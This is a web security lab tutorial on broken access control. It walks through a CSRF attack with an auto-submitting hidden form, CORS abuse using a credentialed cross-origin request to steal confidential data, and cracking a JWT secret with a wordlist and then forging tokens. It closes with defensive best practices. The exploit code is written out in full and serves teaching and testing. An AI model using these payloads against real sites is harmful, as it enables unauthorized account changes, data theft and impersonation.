Access Control is the set of policies and mechanisms that ensure users cannot act outside their intended permissions. Authorization indicates that access is provided only to users entitled to the usage. Authorization comes in after a user is successfully authenticated and a valid session is set up. Broken Access Control presents the failure of access control mechanisms, aiming to limit or control access to resources appropriately.

Access controls are a critical defense mechanism within the application. They are responsible for deciding whether they should permit a given request to perform its attempted action or access its requested resources.

Access controls can be classified into three categories:

  • Vertical access controls allow different types of users to access various application functions, such as the role of an admin and other ordinary users.
  • Horizontal access controls allow the same group of users to access the same type of functionality.
  • Context-dependent access controls allow access to functionality and resources depending on the state of the application.

Broken Access Control is included in the category with the most severe web application security risk by OWASP.

Introduction to CSRF

As indicated by its name, Request Forgery is a fabricated request. Cross-Site Request Forgery, also known as CSRF, is a common web vulnerability used by attackers to trick victims into generating a request that performs specific actions on behalf of the logged-in victim. The request is similar to standard requests generated by the user’s browser; thus, the webserver executes its actions. CSRF vulnerabilities can be critical, resulting in password change, account takeover, etc.

Open the browser and visit demo.com on port 5000. demo.com:5000 To begin, click on the CSFR link. The link presents a login page. In it, type the following default credentials (username: admin, password: admin`) to continue.

Start Burp Suite

Burp Suite is a tool that comes in helpful when attacking websites and web applications. Burp Suite acts as a proxy, controlling the flow of traffic between an attacker’s browser and the target.

Configuring Firefox

Go to the “Proxy” > “Intercept” tab and make sure that the interception action is on.

To configure Firefox for testing with Burp, go to the Firefox Menu and select Preferences. Click on ‘Manual proxy configuration’. Afterwards, set the IP address to 127.0.0.1 and the Burp Proxy listener port to 8080. To finish, click OK to close all of the options dialogs.

Changing color

When logging into the application, the student is presented with a page that has an input field asking to enter the favorite color. Make sure that the interception action is on prior to submitting. Any value submitted will be stored in the session of the user. Type blue and click on the Submit button. The request details will be captured and shown in BurpSuite.

Capture request in Burp

The captured request via Burp Suite shows that the application is performing a POST request, storing the typed favorite color into the user’s session and displaying this back to the user on the HTML website.

The POST request is not sending any unique token; therefore, the attacker can suppose that this web application is not using any form of protection against CSRF.

Click on the “Forward” button to send the request to the server.

To perform a CSRF attack, all that’s needed is for a user to have an active session on a given site and an attacker crafty enough to trick a user into clicking on a link or a page that performs actions on the said side. Hence the term’s name: “Cross-Site”, because the request does not come from the original site, and “Request Forgery” because it’s a forged request by an attacker.

Create a malicious page

An html file named evil-csrf.html is stored in the machine. This html file is a clone of the demo.com:5000/update page. The challenge is to add a few lines of code to the file to perform the malicious CSRF POST request. This will be achieved by adding a hidden iFrame that sends a request to the original site on behalf of the logged-in user. This request will change the value of the favorite color to ‘Hacked’.

To do so, open the terminal, change the directory to /home/kali/evilscripts, and open the file using nano as an editor. cd /home/kali/evilscripts nano evil-csrf.html

The attacker adds a hidden iFrame using the display:none attribute and sends the form’s response there. As a result, the victim does not see nor realize what has happened. Add the following lines of code at the end of the file.

<iframe style="display:none" name="csrf-frame"></iframe>

Since the attacker does not want the victim to see the form, the input element is given the type hidden, thus making it invisible on the web page that the victim sees.

<form method='POST' action='http://demo.com:5000/update' target="csrf-frame" id="csrf-form">
	<input type='hidden' name='color' value='Hacked!'>
	<input type='submit' value='submit'>
</form>

As the final step, the attacker includes some JavaScript inside a script tag to automatically submit the form when the page is loaded. JavaScript calls the getElementByID() method on the HTML document with the ID of the form (“csrf-form”) that the attacker set in the second line as an argument.

<script>document.getElementById("csrf-form").submit()</script>

Once the form is submitted, the browser passes the victim’s cookies to the original website through the HTTP POST request, making it seem as if the victim purposely changed the color to ‘Hacked’.

Lastly, click on the Save button to save the changes made.

Setup the evil python server

The challenge is to make the evil-csrf.html file accessible from other hosts. Therefore, start a python server on port 1337 by typing the following command in the terminal. sudo python3 -m http.server 1337

The attacker can now use various social engineering attack methods to trick the victim user into clicking the malicious URL. One example includes sending an appealing email to the victim.

Visit the malicious page in browser

Next, open a new tab and load the evil page previously created by typing the following command:

`localhost:1337/evil-csrf.html

The command will now send a POST request to the application and change the color value to the new value ‘Hacked!‘.

Introduction to CORS

CORS allows cross-domain HTTP data exchange, indicating that a page running at origin A can send/receive data from a server at origin B. CORS is thoroughly used in web applications where web fonts, CSS, documents, and more, are loaded from different origins, which may not be of the origin where the resources are stored.

CORS operates by adding a new HTTP header that allows the webserver to speak up to a list of whitelisted domains allowed to connect and interact with the server. This process is also browser enforced; the browser reads the header and processes accordingly.

The following CORS headers are the most used:

-Access-Control-Allow-Origin: This header is a response header, indicating that as soon as a request is made to the server for exchanging data, the server responds with a header informing the browser whether the request’s origin is listed inside the value of the response. If the header is not present or the response header does not contain the request origin inside the header, the request is dropped, and a security error is raised; otherwise, the request is processed.

-Access-Control-Allow-Methods: This is another response header; the server responds with this header and instructs the browser to check for allowed HTTP methods mentioned inside of it. If the server only allows GET and a POST request is initiated, it will be dropped if not mentioned in this list.

-Origin: This request header tells the server from which domain origin the request was attempted. The origin header is always sent alongside cross-domain requests.

Login using default credentials

Go back to the browser and visit demo.com:5000. `demo.com:5000

Secondly, click on the CORS link. The student is presented with a login page. Type the following default credentials (username: admin, password: admin) to continue.

Modify the Response Header

After successfully logging in, return to Burp Suite to view the intercepted traffic from the application. Go to the “Proxy” > “HTTP history” tab. The tab displays records of all requests that have passed through the Proxy. Secondly, click on the last transmitted request containing the “/confidential” URL. Burp Suite will show the relevant messages for the selected request.

The selected request shows that the application has CORS enabled and has set a wildcard for the Access-Control-Allow-Origin response header, indicating that any origin can access the resource.

Right-click on the request and choose Send to Repeater from the context menu. Repeater is a tool used to manually manipulate and reissue HTTP requests and analyze the application’s responses. Now, visit the Repeater tab and add an “Origin” request header with the ” evilwebsite.xyz” value below the session cookie. Afterwards, click the Send button. Origin: evilwebsite.xyz

The user will find out that the value from the added Origin header is dynamically allocated to the “Access-Control-Allow-Origin” header.

Create a malicious Javascript code

An html file named evil-cors.html is saved in the machine. The challenge is to add a few lines of code for performing a malicious XMLHttpRequest GET request. XHR (XMLHttpRequest) objects are used to retrieve data from a URL without doing a full page refresh. To get started, open a new tab in terminal and edit the file evil-cors.html located in ~/evilscripts.

The student must perform an XMLHttpRequest GET request from the malicious domain to obtain sensitive information. Therefore, to send an HTTP request, create an XMLHttpRequest object named req. Insert the following lines of code inside the element. <script> var req = new XMLHttpRequest();`

Set the req.onload listener function to get the response from the server and populate the result afterwards.

`req.onload = reqListener;`

Call the open function to start the request. The first argument is the HTTP request method, which in this case is GET. The second argument is the URL or relative path to the server-side resource. The third argument is for assessing whether the HTTP request occurs asynchronously. Set it to true since it is not needed to hold up other parts of JavaScript code from loading.

`req.open('get','http://demo.com:5000/confidential', true);`

Use the send() method to send the request to the server.

`req.withCredentials = true;
req.send(); 
function reqListener(){ document.getElementById("cors").innerHTML= req.responseText; } </script>`

Save the changes and close the editor.

Capture request in Burp

Make sure that the Python server is running on port 1337 on directory ~/evilscripts.

Next, open a new tab and load the previously created evil page just created by typing the following command:

localhost:1337/evil-cors.html

Afterwards, return to BurpSuite and view the captured traffic in HTTP History tab.

The intercepted request shows that the “Origin” header has been appended to the request from source “http://localhost:1337”.

JSON Web Tokens

JSON Web Token (JWT) is an open standard utilized to generate and use bearer tokens for authentication between two parties. The JWT token is an encoded form of data issued by the sender application and is used to authenticate the client’s access. The JWT token structure is similar to that of a web request and consists of three parts separated by dots (.)

  • Header
  • Payload
  • Signature

Therefore, a JWT typically looks like the following: xxxxx.yyyyy.zzzzz

The header is Base64Url encoded and contains the type of token and the hashing algorithms used, typically HMAC SHA256 or RSA. The payload contains the claims, which are statements about the entity, typically a user, and any additional data.

The signature is the final part of the JWT structure. It takes the header and the payload, adds a secret to the hashing algorithm, and spits out a hash corresponding to the unaltered data in the rest of the JWT. Using the signature, the client app and the server can verify that the token they are receiving is the original, unaltered token.

Authentication

One example of a web application using JWT authentication can be found:

`jwt.com:5001

Now, the client application can obtain an access token to access protected resources in subsequent HTTP requests. Once the client application receives the access token (JWT token) from the server, the token can be persisted into the local storage of client applications.

To view the token right-click and go to Inspect Element. A window will appear at the bottom of the page. Select the Storage tab, then expand Local Storage. Whenever HTTP requests are sent to access the protected resources of the API server, the tokens stored in the Local Storage are checked.

Brute Force the secret

The server may be using a weak secret key for the hashing algorithm. Therefore, a potential hacker can easily brute force the secret key.

Create and open a new file named weak-secret.py.

The first thing the student must do is import the jwt object, which is part of the PyJWT package.

import jwt
encoded = input("Enter encoded payload: ")
 
with open('rockyou.txt') as secrets:
    for secret in secrets:
        try:
            payload = jwt.decode(encoded, secret.rstrip(), algorithms=['HS256'])
            print('Success! Token decoded with ....[' + secret.rstrip() + ']')
            break
        except jwt.InvalidTokenError:
            print('Invalid Token .... [' + secret.rstrip() + ']')
        except jwt.ExpiredSignatureError:
            print('Token Expired ....[' + secret.rstrip() + ']')

Run the python script

Run the newly created script with Python.

`python3 weak-secret.py

Pass to it as an input the value of the auth token generated when the user is logged in to the web application founded in Storage in Inspect Element.

After a few seconds, the script brute-forces successfully the secret used to sign the token.

Creating script to decode the JWT

Using the secret key found, an attacker can now decode the token and examine its content. To do so, create amd open a new file named jwt_decoder.py. `nano jwt_decoder.py

import jwt
import json
def menu():
    print('1. Decode JWT')
    print('2. Encode JWT')
    algorithm = "HS256"
    secret = "banana!"
    choice = int(input('\nEnter your choice: '))
    if choice == 1:
        jwt_token = input('\nEnter the JWT Token: ')
        decoded_token = jwt.decode(jwt_token, secret, algorithms=[algorithm])
        decoded_token = json.dumps(decoded_token)
        print(decoded_token)
	elif(choice == 2):
		payload = input('Payload {"key": "value"}: ')
        payload = json.loads(payload)
        token = jwt.encode(payload, secret, algorithm)
        if(token != ''):
            print('\nJWT Token: {}'.format(token))
if __name__ == '__main__':
    menu()

Authenticating with the new token

Firstly, copy the stored token in local storage from the web application.

Next, run the created python code with Python.

python3 jwt_decoder.py

Choose the first option to decode the token and then paste the copied value.

The python code will successfully decode the token and display its values in the terminal. Copy the output and run the python a second time, now choosing to encode the JWT. Change the identity field value to 2 and generate a new JWT token. Now, use the newly generated JWT token to replace the one stored in the browser’s local storage.

Lastly, click on the Show userId button to check if the server accepted the tampered token.

Access Control Best Practices

Access control enforces the policy that prevents users from acting outside of the intended permissions. Failures typically lead to unauthorized information disclosure, modification destruction of all data, or the performance of a business function outside the user’s limits.

Access control vulnerabilities can generally be prevented by taking a defense-in-depth approach and applying the following principles:

  • Do Not Rely on Obfuscation: Obfuscation is insufficient to keep sensitive information safe.

  • Unless a resource is publicly accessible, deny access by default.

  • Wherever possible, use a single application-wide mechanism for enforcing access controls.

  • At the code level, make it mandatory for developers to declare the access allowed for each resource and deny access by default.

  • Ensure that all users, programs, or processes are only given as little necessary access as possible.

  • Log all Access Control failures.

  • Thoroughly audit and test access controls to ensure they are working as designed.

Most developers use the classic method of adding a secret token named anti-CSRF to prevent CSRF vulnerabilities. This token is added to all sensitive requests and is verified by the server for authenticity. The anti-CSRF token is a random string only known to the user’s browser and the web application.

When an operation is submitted, the web application checks for the presence of the correct token.

The parameter value of the token is examined and validated by the server to the logged-in user’s session. If a mismatch occurs, the request is denied.